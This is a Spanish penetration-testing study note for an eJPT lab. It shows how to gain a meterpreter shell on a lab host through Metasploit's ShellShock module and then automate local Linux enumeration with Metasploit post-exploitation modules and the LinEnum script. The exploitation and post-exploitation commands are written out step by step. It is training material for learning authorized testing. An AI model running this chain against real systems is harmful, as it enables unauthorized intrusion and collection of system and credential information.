> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/enumeracion-de-linux/automatizacion-de-la-enumeracion-local-de-linux.md). # Automatización de la enumeración local de Linux Cuando realizas **pruebas de penetración** en sistemas Linux, la enumeración manual sigue siendo crucial para comprender el entorno. Sin embargo, los plazos ajustados exigen optimizar el tiempo — y ahí es donde entran los **scripts de enumeración automatizada** y ciertos módulos de Metasploit Framework (MSF). *** ### ❓ ¿Por qué automatizar? * **Eficiencia temporal**: un script ejecuta en segundos lo que manualmente tomaría minutos (o más) y te permite centrarte en el análisis de resultados. * **Cobertura amplia**: además de recoger la información clásica (versión del sistema, usuarios, grupos, servicios…), muchos scripts detectan **vulnerabilidades de escalada de privilegios** y **contraseñas almacenadas localmente**. * **Consistencia**: estandarizan la recolección de datos entre proyectos y equipos. *** ### 🛠️ Scripts populares para enumeración local | Script | Descripción breve | Enfoque | | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------- | | **LinEnum** | Bash sencillo que recopila la mayoría de los chequeos locales habituales (permisos, SUID/SGID, capacidades Linux, cron jobs, servicios, configuraciones sudo, etc.) y resalta posibles vectores de escalada. | Rápido y sin dependencias externas. Ideal para lanzarlo nada más conseguir acceso a la máquina. | > **Repositorio oficial de LinEnum:** *** ## 🧪 Laboratorio Práctico **Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de la GUI de Kali
**Paso 2:** Verifique si la máquina de destino es accesible Para empezar, necesitarás identificar la dirección IP del sistema de destino, esto se puede hacer ejecutando el siguiente comando: **Dominio:** ``` ping -c4 demo.ine.local ```
El objetivo es alcanzable. **Paso 3:** Escaneo de puertos con Nmap Ahora podemos realizar un escaneo de puertos para identificar servicios vulnerables que se ejecutan en el sistema objetivo. Esto se puede hacer ejecutando el siguiente comando: **Dominio:** ``` nmap -sV demo.ine.local ``` Como se muestra en la siguiente captura de pantalla, el escaneo de Nmap revela que el objetivo tiene un servidor web ejecutándose en el puerto 80.
Para ahorrar tiempo, el servidor web aloja una aplicación web que es vulnerable al exploit **ShellShock** que puede explotarse mediante el uso de un módulo de exploit Metasploit. **Paso 4:** Obtener acceso Ahora que hemos identificado el servicio vulnerable que se ejecuta en el objetivo, podemos iniciar la consola de Metasploit Framework (msfconsole) ejecutando el siguiente comando: **Dominio:** ``` msfconsole ``` Ahora podemos cargar el módulo de explotación apropiado ejecutando el siguiente comando: **Dominio:** ``` use exploit/multi/http/apache_mod_cgi_bash_env_exec ``` Ahora necesitaremos configurar las opciones del módulo, más específicamente la dirección IP de destino, esto se puede hacer ejecutando el siguiente comando: **Comando:** ``` set RHOSTS demo.ine.local ``` También necesitaremos configurar la opción TARGETURI ejecutando el siguiente comando: **Dominio:** ``` set TARGETURI /gettime.cgi ``` Ahora podemos ejecutar el módulo ejecutando el siguiente comando: **Dominio:** ``` set LHOST 192.58.2.2 ``` **Nota:** El valor de LHOST puede ser diferente en su caso, así que realice los cambios correspondientes. **Dominio:** ``` exploit ``` Como se muestra en la siguiente captura de pantalla, si el exploit se ejecuta con éxito, se nos proporcionará una sesión de meterpreter en el sistema de destino.
**Paso 5:** Automatizar la enumeración local con Metasploit Ahora que hemos obtenido acceso al sistema de destino y hemos obtenido una sesión de meterpreter, podemos comenzar el proceso de automatización de la enumeración local mediante el uso de varios módulos de post-explotación de Metasploit. Para empezar, podemos utilizar el módulo enum\_configs para enumerar varios archivos de configuración almacenados en el sistema de destino. Para empezar, deberás poner la sesión de meterpreter en segundo plano. Esto se puede hacer ejecutando el siguiente comando: **Dominio:** ``` background ``` Ahora podemos cargar el módulo ejecutando el siguiente comando: **Dominio:** ``` use post/linux/gather/enum_configs ``` Ahora tendremos que configurar las opciones del módulo. En este caso, solo es necesario configurar el ID de sesión de meterpreter. Para ello, ejecute el siguiente comando: **Dominio:** ``` set SESSION 1 ``` Ahora podemos ejecutar el módulo ejecutando el siguiente comando: **Dominio:** ``` run ```
Como se muestra en la captura de pantalla anterior, el módulo enumerará una lista de archivos de configuración en el destino Linux que pueden analizarse para obtener más información sobre el sistema de destino. Podemos utilizar el módulo enum\_network para automatizar la enumeración de información de red del sistema de destino. Ahora podemos cargar el módulo ejecutando el siguiente comando: **Dominio:** ``` use post/linux/gather/enum_network ``` Ahora tendremos que configurar las opciones del módulo. En este caso, solo es necesario configurar el ID de sesión de meterpreter. Para ello, ejecute el siguiente comando: **Dominio:** ``` set SESSION 1 ``` Ahora podemos ejecutar el módulo ejecutando el siguiente comando: **Dominio:** ``` run ```
Como se muestra en la captura de pantalla anterior, el módulo enumerará la información de red del sistema de destino y la almacenará en el directorio raíz local de Metasploit. Como se muestra en la siguiente captura de pantalla, puede ver el contenido de los archivos de configuración utilizando la utilidad cat.
Otro módulo útil es el módulo enum\_system que se puede utilizar para automatizar la enumeración de información del sistema local. Podemos cargar el módulo ejecutando el siguiente comando: **Dominio:** ``` use post/linux/gather/enum_system ``` Ahora tendremos que configurar las opciones del módulo. En este caso, solo es necesario configurar el ID de sesión de meterpreter. Para ello, ejecute el siguiente comando: **Dominio:** ``` set SESSION 1 ``` Ahora podemos ejecutar el módulo ejecutando el siguiente comando: **Dominio:** ``` run ```
Como se muestra en la captura de pantalla anterior, el módulo enumerará información como el nombre de la distribución y la versión de lanzamiento, además de otra información del sistema como la versión del kernel de Linux y las cuentas de usuario, que se almacenarán en el directorio de botín para su análisis sin conexión. **Paso 6:** Automatizar la enumeración local con LinEnum Ahora que hemos explorado cómo usar los módulos de Metasploit para automatizar la enumeración local en un objetivo de Windows, podemos comenzar a explorar cómo usar LinEnum. LinEnum es un script bash que utilizan los evaluadores de penetración para automatizar la enumeración local e identificar vectores de escalada de privilegios en sistemas Linux. Para usar este script, deberá copiarlo en su entorno de laboratorio. Para empezar, puede acceder al script a través del siguiente repositorio de GitHub: En el repositorio de GitHub, navegue hasta el script LinEnum.sh como se muestra en la siguiente captura de pantalla.
Luego necesitarás ver el script en formato sin procesar, esto se puede hacer haciendo clic en el botón sin procesar como se muestra en la siguiente captura de pantalla.
Ahora necesitarás copiar el contenido del script en formato sin procesar y pegarlo en el portapapeles del entorno de laboratorio.
Una vez que haya copiado el script del repositorio de GitHub, regrese al sistema Kali Linux en su entorno de laboratorio y cree un nuevo archivo con un editor de texto como leafpad. Luego pegue el script que copió en el archivo y luego guarde el archivo como LinEnum.sh como se muestra en las siguientes capturas de pantalla.
Ahora podemos regresar a nuestra sesión de meterpreter y navegar a la unidad temporal ejecutando el siguiente comando: **Dominio:** ``` cd /tmp ``` Ahora podemos cargar el script *LinEnum.sh* que copiamos del repositorio de GitHub ejecutando el siguiente comando: **Dominio:** ``` upload /root/Desktop/LinEnum.sh ```
Ahora necesitaremos generar una sesión de shell de comandos, esto se puede hacer ejecutando el siguiente comando: **Dominio:** ``` shell ``` **Dominio:** ``` /bin/bash -i ``` Ahora podemos ejecutar el script LinEnum.sh ejecutando los siguientes comandos: **Dominio:** ``` chmod +x LinEnum.sh ``` **Dominio:** ``` ./LinEnum.sh ```
Como se muestra en la siguiente captura de pantalla, el script LinEnum.sh se ejecutará y mostrará los resultados en la terminal.
Tómese unos minutos para revisar la salida y analizar qué información pudo enumerar LinEnum además de cualquier información potencialmente interesante que no pudimos enumerar manualmente o con los módulos de Metasploit. #### Conclusión En este laboratorio, exploramos la automatización de la enumeración local en un sistema Linux aprovechando los módulos de postexplotación de Metasploit y scripts de enumeración local como LinEnum.